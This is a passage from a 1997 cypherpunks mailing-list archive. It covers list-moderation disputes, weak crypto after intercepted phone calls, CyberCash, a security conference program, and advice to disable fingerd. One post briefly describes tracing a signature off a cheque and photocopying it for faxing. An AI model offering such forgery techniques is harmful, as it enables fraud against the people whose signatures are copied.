
I appreciate the service, but I don't take it for granted and I
certainly don't take it as an inalienable right.

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Tue, 21 Jan 1997 04:41:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Quantum computers/Java of a different sort
In-Reply-To: <199701202143.NAA19177@toad.com>
Message-ID: <32E4B968.28DA@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally poorly edited a forwarded note:
> ... junk ...

Sorry.

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Tue, 21 Jan 1997 07:10:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Quantum computers/Java of a different sort
Message-ID: <199701211510.HAA06980@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally poorly edited a forwarded note:
> ... junk ...

Sorry.

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 07:11:19 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Dr. Vulis' social engineering "experiment"
In-Reply-To: <199701210718.CAA16490@mercury.peganet.com>
Message-ID: <32E4DC86.37C2@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> Toto <toto@sk.sympatico.ca wrote:

Good points all, Bill.  Now, just turn the pointed finger around
slightly so that (for some of the issues at least) it points
towards the providers/managers/moderators, etc.  Wouldn't it be a
gas if this were part of the Grand Plan, waiting only for the
provocation?  They can argue that one person's posts have worse
content than others (or argue the Spam motive), but really,
what's it all about besides control?  All of you long-time guys
survived the war without the moderator's help, am I right?

>   As a long time lurker (much longer than many of the numerous
> relatively recent vociferous posters) I *must* speak up.
>   If the dear "Doctor's" posting are indeed a "grand" experiment
> in newsgroup (or maillist) sociology, then it seems they are akin to
> experiments in recent history; if the patient dies, so what? There are
> other lists...
>   While many of you think that the ability of a list to withstand
> constant spamming is an important issue; the government is busily
> working to outlaw encryption and privacy, and I fear that much
> is lost by the side issue of the "how easily can I kill a list".
> I feel we at a *critical* crossroads in this debate, and one of the
> more important voices has *very* effectively been silenced.[snip]
>   This is very true, but I cannot understand why you think that
> the attempt to disrupt and destroy this list a necessary step
> in the task of resisting this governmental effort.[mo' snip]
>   Again, I can't understand why "killing the messenger" is advancing
> the issues of privacy and crypto issues. How does the posting of
> numerous crude anti-Tim May messages promote personal privacy?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 08:41:14 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701211641.IAA08041@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> Toto <toto@sk.sympatico.ca wrote:

Good points all, Bill.  Now, just turn the pointed finger around
slightly so that (for some of the issues at least) it points
towards the providers/managers/moderators, etc.  Wouldn't it be a
gas if this were part of the Grand Plan, waiting only for the
provocation?  They can argue that one person's posts have worse
content than others (or argue the Spam motive), but really,
what's it all about besides control?  All of you long-time guys
survived the war without the moderator's help, am I right?

>   As a long time lurker (much longer than many of the numerous
> relatively recent vociferous posters) I *must* speak up.
>   If the dear "Doctor's" posting are indeed a "grand" experiment
> in newsgroup (or maillist) sociology, then it seems they are akin to
> experiments in recent history; if the patient dies, so what? There are
> other lists...
>   While many of you think that the ability of a list to withstand
> constant spamming is an important issue; the government is busily
> working to outlaw encryption and privacy, and I fear that much
> is lost by the side issue of the "how easily can I kill a list".
> I feel we at a *critical* crossroads in this debate, and one of the
> more important voices has *very* effectively been silenced.[snip]
>   This is very true, but I cannot understand why you think that
> the attempt to disrupt and destroy this list a necessary step
> in the task of resisting this governmental effort.[mo' snip]
>   Again, I can't understand why "killing the messenger" is advancing
> the issues of privacy and crypto issues. How does the posting of
> numerous crude anti-Tim May messages promote personal privacy?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 21 Jan 1997 08:20:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM technology
In-Reply-To: <199701210410.UAA28002@toad.com>
Message-ID: <40uV1D91w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

>
>
> 	ADSL will be the best for movies... i can't wait .

What kind of movies?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 21 Jan 1997 08:55:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM technology
Message-ID: <199701211655.IAA08156@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

>
>
> 	ADSL will be the best for movies... i can't wait .

What kind of movies?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 21 Jan 1997 08:21:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210610.WAA29970@toad.com>
Message-ID: <RDVV1D92w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson <gotagun@liii.com> writes:
> The heart and soul of the problem is that "sin", "freedom", "good",
> and "evil" are abstract concepts which fluctuate from individual to
> individual. If Dr. Vulis is indeed an adjunct professor at Fordham
> University, I think that perhaps he has been hanging out and drinking
> too many beers with my former philosophy professor Quentin Lauer. ;-7

I haven't been teaching at Fordham for a few years.
(It's too far and the pay's too low. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 21 Jan 1997 08:55:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701211655.IAA08166@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson <gotagun@liii.com> writes:
> The heart and soul of the problem is that "sin", "freedom", "good",
> and "evil" are abstract concepts which fluctuate from individual to
> individual. If Dr. Vulis is indeed an adjunct professor at Fordham
> University, I think that perhaps he has been hanging out and drinking
> too many beers with my former philosophy professor Quentin Lauer. ;-7

I haven't been teaching at Fordham for a few years.
(It's too far and the pay's too low. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 21 Jan 1997 06:15:47 -0800 (PST)
To: Mike McNally <cypherpunks@toad.com
Subject: Re: Quantum computers/Java of a different sort
Message-ID: <199701211415.GAA06453@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> From:          Mike McNally <m5@vail.tivoli.com>
> To:            cypherpunks@toad.com
> Subject:       Quantum computers/Java of a different sort

> For all you quantum computer fans, see 
> 
> 	http://sciencenow.sciencemag.org/html/970117c.htm
> -- 
> Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin

Shades of the Infinite Improbability Drive!
(cf Hitchhikers Guide to the Galaxy)

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@process.com>
Date: Tue, 21 Jan 1997 07:10:53 -0800 (PST)
To: Mike McNally <cypherpunks@toad.com
Subject: Re: Quantum computers/Java of a different sort
Message-ID: <199701211510.HAA06989@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> From:          Mike McNally <m5@vail.tivoli.com>
> To:            cypherpunks@toad.com
> Subject:       Quantum computers/Java of a different sort

> For all you quantum computer fans, see 
> 
> 	http://sciencenow.sciencemag.org/html/970117c.htm
> -- 
> Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin

Shades of the Infinite Improbability Drive!
(cf Hitchhikers Guide to the Galaxy)

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 10:33:55 -0800 (PST)
To: m5@vail.tivoli.com
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210140.RAA25601@toad.com>
Message-ID: <32E51979.5369@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally wrote:

>   Why anyone would expect any particular degree of
> "freedom" to use a service run for free by a private individual
> is beyond me.

  I agree, totally.
  Just because an individual claims, rightly or wrongly, to be a
big defender of freedom, involving himself or herself in causes
like those of the Electronic Freedom Foundation, does not take
away their right to stomp on anyone who disagrees with them on
their own private list.
  To claim otherwise would be as ludicrous as denying the person
running the Anonymizer the right to expose the identities of the
people he feels might perhaps be abusing his private system, or
using it for nefarious purposes, such as hiding their identity 
from others.

Toto
 
> I appreciate the service, but I don't take it for granted and I
> certainly don't take it as an inalienable right.
> 
> ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
> Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
> mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
> ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 10:49:45 -0800 (PST)
To: "'Sean Roach'" <cypherpunks@toad.com>
Subject: RE: Newt's phone calls
Message-ID: <01BC07A2.188A3B60@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




get everything needed on a signed cheque.
>
>A check is no good, most checks are now printed on paper with special lines
>that are supposed to become obvious after copying.  A signed letter or even
>a mailing envelope would probably be better. 

Actually for the purposes of fax you can trace the signature 
off the check and then photocopy the traced outline. If you
use Mellonex film you can get a very good impression. 


> Also, scotch tape makes those
>pexky shadows disapear like magic.  My dad uses it to make multiple versions
>of make-up math tests that trivially look like the origional in order to
>goad persons who were sick on test day so that they could get the answers
>from someone else into printing down those answers and getting less than
>random probability. (multiple choice)

When I used to do layout of artwork for a magazine we used to 
use white out to get rid of the shadow lines. There is a
particularly good version available in the UK which comes in
a red bottle with a flow cap on it. Much better than the crappy 
pot 'n brush system which is always going hard as the 
solvent evaporates.


		Phill

PS: I hasten to add that my experience of fraud techniques comes 
from trying to stop them.

PPS: In the days of electronic mail why do people need PS's?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 21 Jan 1997 12:33:49 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Netscape to use Cybercash?
In-Reply-To: <3.0.32.19970120210810.006dd5cc@192.100.81.126>
Message-ID: <199701212033.MAA29427@netcom17.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


(S.Schear tells me that he thinks the lack of anonymity in
payment schemes is what is primarily what is holding them
back, not good GUI interfaces. I consider this hogwash,
but maybe we can agree to disagree.)

Lucky Green writes:
>Netscape has announce that Navigator will ship with CyberCash. 
>There is definitely movement at the browser/server end.

whoa, I missed this. was there any discussion on this list? or
is it just because we are drowning in noise? any more specifics?
I personally am hoping for a point-and-click interface with
the piggybank/cost HTML tag scenario I described. also, any ETA?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: korinne@datasec.net (Korinne)
Date: Tue, 21 Jan 1997 09:46:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: DATANET SECURITY 97 PROGRAM
Message-ID: <3.0.32.19970121124807.00a319e0@datasec.net>
MIME-Version: 1.0
Content-Type: text/plain



Conference program Datanet Security 1997
Annual International Conference and Exhibition on Wide Area Network Security

FEBRUARY 17 - 18 - 19 - 20, 1997
HYATT REGENCY MIAMI
HOTEL & CONVENTION CENTER

All lectures and presentations have been confirmed

Keynote speakers:   Monday  February 17, 1997
The 1997 Datanet Security conference will be opened with a keynote address
by Dr. Ruth A. David, Deputy Director Science & Technology of the Central
Intelligence Agency.
 
Following the opening address, Mr. Stuart A. Baker will deliver a keynote
speech "Legal Aspects of Network Security".  Stuart Baker is partner with
Steptoe & Johnson in Washington DC, and former lead counsel for the
National Security Agency.

Keynote speakers: Tuesday February 18, 1997
The second day of the Annual Datanet Security Conference is highlighted
with a presentation by Dr. Rob Kolstad "Non-Security Issues Affecting the
Future of the Internet". Rob Kolstad is President of BSDI Inc.

"What's Slowing down Deployment of Security ?" is the title of the next
keynote address by Novell's Chief Security Architect, Dr. Radia Perlman.
She was featured in the 20th anniversary edition of Data Communications
magazine as one of 20 most influential people in the field of computer
networking. 

Keynote speaker:  Wednesday February 19, 1997
This conference day we feature Mr. Scott Charney as a prominent keynote
speaker.  Scott Charney is the principal government authority on computer
crime. He heads the federal prosecutors and leads the Computer Crime and
Intellectual Properties Section within the Department of  Justice. 


ADVANCED TECHNOLOGY PROGRAM
Monday February 17, 1997

ELECTRONIC INTELLIGENCE
"Intelligence Behind the Journal Intelligence"  - Olivier Schmidt
Olivier Schmidt is founding editor of several important international
professional news journals and expert
publications. Among these "Parapolitics", "Intelligence Newsletter" and
"Intelligence". He co-authored
"Intelligences Secretes" and "OSS et la Resistance Francaise". He lives and
works in Paris, France.

"The King of Secret Readers: Edgar Allen Poe, William Friedman, and the
Logic of the Cold War" -
Professor Shawn Rosenheim
Shawn J. Rosenheim is Associate Professor of English at Williams College
(Williamstown, Mass.), and a founding  member of the Communications
Technologies Research Group. His most recent publication is "The
Cryptographic Imagination: Secret Writing from Edgar Poe to the Internet"
(Johns Hopkins University Press, 1996)

DISCUSSION PANEL
Traditional versus New Technologies: A Challenge for the Intelligence
Communities
Session and Panel Chairman - David Whipple
David Whipple is Executive Director of the Association of Former
Intelligence Officers, AFIO. As no other Mr. Whipple is able to illustrate
the traditional methods of information gathering. 

INTERNET SECURITY
The Changing Role of the Firewall - Stephen Flaig
Mr. Flaig is Vice President for LanOptics Inc., developers of the Guardian
firewall.

Network Access Flexibility through RADIUS - David Dawson
David Dawson is General Manager Network Security Business Unit for Ascend
Communications Inc.
Previously he was Chief Executive Officer of Morningstar Technologies Inc.
He holds a BS in Electrical
Engineering from the US Military Academy at West Point.

Internet Security and the IBM Firewall - Peter Crotty
Peter Crotty is worldwide responsible for IBM's technical firewall support
program.

Secure Access: If you don't have security everywhere, you don't have it
anywhere ! - Doug LaBorde
Mr. LaBorde is Manager with the Network Security Business Unit of Ascend
Communications.

NT SECURITY
Windows NT Security: Networked Perspectives - Charles Rutstein
Charles Rutstein is Principal Consultant with Price Waterhouse, and has
extensive front line computer and
network security experience. He authored several books on computer viruses.
His latest work, dealing with
Windows NT security, has just been released.

NT Internet Security - Firewalls, Web-servers, and Vulnerabilities - Bill
Stout
Bill Stout is network security analyst and senior systems administrator
with Hitachi Data Systems. He
specializes in Windows NT security issues.

VIRUSES
Viruses and the Internet; email, Java, Active-X; the new virus carriers -
Thierry Giron
Thierry Giron holds a Computer Science Hon. degree from Middlesex
University (London, UK), and a
Business degree from ESC in Reims, France. He joined Trend Micro in Taiwan
in 1992, and is since Trend's Customer Engineering Manager for the North
American offices.

Minimizing the Virus Threat - Glenn Jordan
Glenn Jordan is the leading virus technology expert with Dr. Solomon, and
is an established member of the
Computer Anti-virus Research Organization, an international network of
anti-virus researchers. Mr. Jordan is a graduate of the University of North
Carolina.

Tuesday February 18, 1997

INTERNET SECURITY
Cyber Thieves - Gregg Lebovitz
Gregg Lebovitz is Director of Security Products at BBN Planet. Mr. Lebovitz
spent 15 years at
Carnegy-Mellon University, designing, implementing and deploying network
routers and distributed
applications.

Accounting for Square-Root Attacks in Cryptographic Design - Michael Wiener
Michael Wiener is senior cryptologist with Entrust Technologies (formerly
Nortel Secure Networks). His
expertise is in the area of cryptanalysis, authentication, and key-exchange
protocols, public-key infrastructures, design of cryptographic systems, and
high-speed implementations of public-key cryptosystems. He is agraduate of
the University of Waterloo (Canada). 

Virtual Private Networking: Integrating Internet and Intranet Security -
Tony Rosati
Tony Rosati is co-founder and Vice President for TimeStep Corporation. He
leads design teams ranging from the development of public-key and DES based
integrated circuits to the development of system level
communications security solutions utilizing cryptographic techniques.  

Approaching End-to-End Security - Paul Ferguson
Paul Ferguson is a senior expert with Cisco Systems. His principal
disciplines are Internet security, large-scale routing and design
architecture.

NETWORK SECURITY
Assurance in Products for the Internet - Alan Borrett
Alan Borrett is member of the UK IT Evaluation & Certification Scheme,
under authority of Her Majesty's Government Communications Headquarters (GCHQ)

Computer Security in the Third World: The Mexican Case - Prof. Guillermo
Mallen
Professor Mallen teaches and researches at the Ibero-Americana University
in Mexico. He is a former
President of the Mexican Academy of Informatics. 

Single Point Security: The Unisys Vision for Enterprise Security
Administration - William Buffam
William Buffam is software architect with Unisys Corp. His background is in
operating systems, networking, and solution engineering. He holds a
Computer Science degree from the University of Manchester.

Security Solutions for the Internet - Eli Herscovitz
Mr. Herscovitz is founder of RadGuard Ltd., provider of secure datanetwork
systems. He chairs the
Networking Security Standardization Committee of the Standards Institute of
Israel.

TUTORIAL
Hacker Tools & Techniques and Intrusion Testing - A dual presentation by
Edward Skoudis and Cynthia Cullen
Cynthia Cullen is a senior consultant with Bell Communications Research
Security and Fraud Management.  Edward Skoudis is a senior expert in
network security issues with Bellcore's Navesink Research Center.

Wednesday February 19, 1997

COMPUTER CRIME
Network Security's Future - Glenn Gianino
Glenn Gianino is Vice President of Advanced Technology with Computer
Associates International. His
responsibilities included all systems software and hardware including
micro, midrange, and mainframe systems, as well as all networking, SNA,
wide area networks and Internet services. His most recent assignment
involves networking security on all platforms and operating systems.

Mining the Information Klondike: CINet, a tool to fight organized crime -
Robert Heibel
Robert Heibel is Director of the research/intelligence analyst program at
Mercyhurst College (PA). A 25-year veteran of the Federal Bureau of
Investigation, he served as its Deputy Chief of Counterterrorism. Mr.
Heibel is also Executive Director of the Center for Information Research,
Analysis, and Training at Mercyhurst. Mr. Heibel is a graduate of
Georgetown University.

Digital Cash is hard to regulate - Prof. Michael Froomkin
Professor Michael Froomkin is associate professor at the University of
Miami, School of Law at Coral Gables. He specializes in Internet law and
related aspects. Professor Froomkin is a graduate of the Yale Law School,
and has a M.Phil. in history of international relations from Cambridge
University (UK). He is a Fellow of the Cyberspace Law Institute.

Smart Cards: the Coming Wave - James Chen
James Chen is founder and President of V-One Corp., a provider of network
and internetwork security
solutions. Previously Mr Chen was head of the ground network engineering
division for Intelsat, responsible for satellite launches. 

Electronic Commerce on the Internet - Tom Carty
Tom Carty is Director of CyberTrust, a division of GTE. Mr. Carty was
responsible for the information
security privacy organization and architecting key management systems with
GTE. He is a graduate of the
University of Connecticut and Boston University.

ATM: An Emerging Network Technology - Michael Guzelian
Michael Guzelian has over 15 years experience in and knowledge of
authentication, bandwidth-on-demand, and security issues that face large
public networks.

DISCUSSION PANEL
High Integrity/Mission Critical Systems
Session and Panel Chairman - Donald L. Evans
Presentations by: Donald Evans, Timothy Stacey and Robert Smock
Donald Evans is senior security engineer and senior member of the Johnson
Space Center Mission Operations Directorate AIS Security Engineering Team,
providing assistance to NASA in developing and maintaining the IS security
program for the Space Station and Shuttle ground based programs. He is an
advisory board member for the NSA Systems Security Engineering Capability
Maturity Model, and a member of the Presidential Sub-committee of the US
Security Policy Board.
Timothy Stacey was involved with security development for NASA's Space
Shuttle and Space Station
programs and software engineering in support of NASA and the US Air Force
Space Command Systems. He is currently a information security expert with
SAIC Space Operations.
Robert Smock is head of Flight Operations Information Security Program at
United Space Alliance, responsible for providing the primary government
contractor support for the protection of NASA's ground-based information
resources, which support Space Shuttle and Space Station flight operations
at the Johnson Space Center in Houston, Texas.Mr Smock holds a degree in
Computer Science.

TUTORIAL
Network Security: PRIVATE Communication in a PUBLIC World
Dr. Radia Perlman and Charlie Kaufman
Radia Perlman is Chief Security Architect for Novell, Inc. She is known for
the invention of the spamming tree algorithm used by bridges, and many of
the algorithms used for routing, including the design of a network that can
withstand a denial of service attack. She is the author of two textbooks.
She has a PhD from MIT.
Charlie Kaufman is security architect for Lotus Notes/Domino. He is the
chair of the web transaction security working group of the IETF. He is on
the National Academy of Sciences expert panel on computer system
trustworthiness. He is coauthor with Radia Perlman, of the book "Network
Security: Private Communications in a Public World".

Thursday February 20, 1997

INTERNET SECURITY
Fighting Piracy on the Net - Peter Beruk
Peter Beruk is Director of Domestic Anti-Piracy with the Software
Publishers Association.

Internet and Server Security - Joshua Peleg
Joshua Peleg is the Director of Technical services with Memco Software. Mr.
Pelegs expertise is in security, disaster recovery and system level
programming. Joshua gained much of his experience while in the Israeli
military defense forces.

Is your Company a Hackers Help Desk ? - Steve Ritger
Steve Ritger is security engineer with SRA International. His expertise is
information and network security as well as fraud detection and prevention.

JAVA SECURITY
Security and "Live" content: A Java Perspective - Peter Coffee
Peter Coffee is advanced technologies analyst for PC Week Labs. He has
taught information systems
management, management science and expert systems development for
Pepperdine University, Chapman
College, and UCLA. He is the author of "How to program Java". Mr. Coffee is
a graduate of MIT and
Pepperdine University.

TUTORIAL
World Wide Web Security
Arthur Donkers
Arthur Donkers is founder of Le Reseau, an independent security consulting
firm in The Netherlands
(Europe). He is a graduate of Delft University of Technology, and holds a
degree in Electrical Engineering. He authors a monthly column on system
administration and security aspects in SysAdmin Magazine.


------------0----------------
 
Datanet Security 97 is sponsored by the National Association of Webmasters,
SysAdmin Magazine, Sprint, and CMP Network Computing Magazine. 


---------------------------0--------------------------
Participation in Datanet Security 97 is $ 845. This includes admission to
all conference sessions, tutorials and discussion panels, as well as
lunches during the four days, a banquet, and a cruise to the Bahama islands
(including breakfast, lunch, dinner and show).  You can pay on-line via a
secure web transaction with all major credit cards. A special hotel
arrangement has been made with Hyatt Regency Miami, making discounted room
rates available to all participants.

The web page with full information is available at http://www.datasec.net
Alternatively you can fax 941 775 1533, or email ds97@datasec.net.

=========================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 21 Jan 1997 09:38:16 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Newt's phone calls
In-Reply-To: <01BC0792.3DE1F750@crecy.ai.mit.edu>
Message-ID: <199701211754.MAA13564@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker writes:

> Adam Back <aba@dcs.ex.ac.uk> wrote in article <5bp18k$1cc@life.ai.mit.edu>...

> > It could be worse to have poor crypto, than no crypto,
> 
> I disagree for two reasons,

[ snip]

> The danger in weak crypto is thinking that it is strong crypto. GSM is
> weak crypto but stops the type of snooping the Martins engaged in.
> If you know not to talk about something secret on one then low
> crypto is better than having a signal anyone can pick up on a 
> device from radio shack.

No, the real danger in weak crypto is that the poorly-informed will not
think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
have been embarrassed by this sort of casual interception, and the issue
wouldn't have been raised in the public mind.  But our communications
still wouldn't be safe from more determined attackers.  Brouhahas like
these are good for the pro-(strong-)crypto agenda.


-- Jeff




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 21 Jan 1997 13:20:24 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Netscape to use Cybercash?
Message-ID: <3.0.32.19970121132141.006ec8e0@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 12:33 PM 1/21/97 -0800, Vladimir Z. Nuri wrote:
>Lucky Green writes:
>>Netscape has announce that Navigator will ship with CyberCash. 
>>There is definitely movement at the browser/server end.
>
>whoa, I missed this. was there any discussion on this list? or
>is it just because we are drowning in noise? any more specifics?

Netscape put out a press release on this in October (?). That's all I know. Look at their web site.




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 10:24:19 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210535.AAA05654@oak.liii.com>
Message-ID: <Pine.SOL.3.93.970121131859.9123B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 21 Jan 1997, Jane Jefferson wrote:
> Also Sprach Toto:
> > 
> >   If what you say is true, then Dr. DV K's efforts are quite possibly 
> > the most important issue being addressed in this conference, because
> > behind free speech, lies the most important issue of all--when does
> > it start, and when does it stop.
> 
> Exactly. 
>  
> >   The military-industrial complex proclaims this necessary for the
> > purposes of state-security, and denies that it is used in order to keep 
> > their 'sins' from being exposed. (If you believe this, then please 
> > contact me by private email regarding an ocean-front property I have
> > available in Tucson, AZ.  If you act quickly, I will throw in a set
> > of the Amazing Ginzu Knives as an added bonus.)
> 
> The heart and soul of the problem is that "sin", "freedom", "good", 
> and "evil" are abstract concepts which fluctuate from individual to 
> individual. If Dr. Vulis is indeed an adjunct professor at Fordham 
> University, I think that perhaps he has been hanging out and drinking
> too many beers with my former philosophy professor Quentin Lauer. ;-7 

	You know smoking causes wrinkles...
	:)
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 11:26:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: fingerd
In-Reply-To: <BC6A1C13322@seebeck.ua.edu>
Message-ID: <32E53432.DC6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> >        Lynx 2.6 is the "latest" for UNIX and they "got" mine.  However,
> >someone suggesed that it may have been done through finger as well, and
> >since my ocmputer is a UNIX box...the people using UNIX shells are gonna
> >get nailed too...
> 
> Couple of things you can do:
> 
>     1.  Comment out "fingerd" in /etc/inetd.conf and refresh
>     2.  Install a more secure "fingerd" such that it only
>         allows "finger `userid@node.domain`" instead of
>         "finger `@node.domain`".
> 
> While I've seen #2 in action, I don't know where to go to snarf it.  I just
> use #1.

  Anyone know where to 'snarf it'?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 10:25:39 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210627.AAA00614@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970121132429.9123C-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 21 Jan 1997, Igor Chudov @ home wrote:

> Jane Jefferson wrote:
> > 
> > The heart and soul of the problem is that "sin", "freedom", "good", 
> > and "evil" are abstract concepts which fluctuate from individual to 
> > individual.
> 
> An excellent point, Jane. Worth remembering.

	Why not archive it ...as it may be worth something someday....

oksas





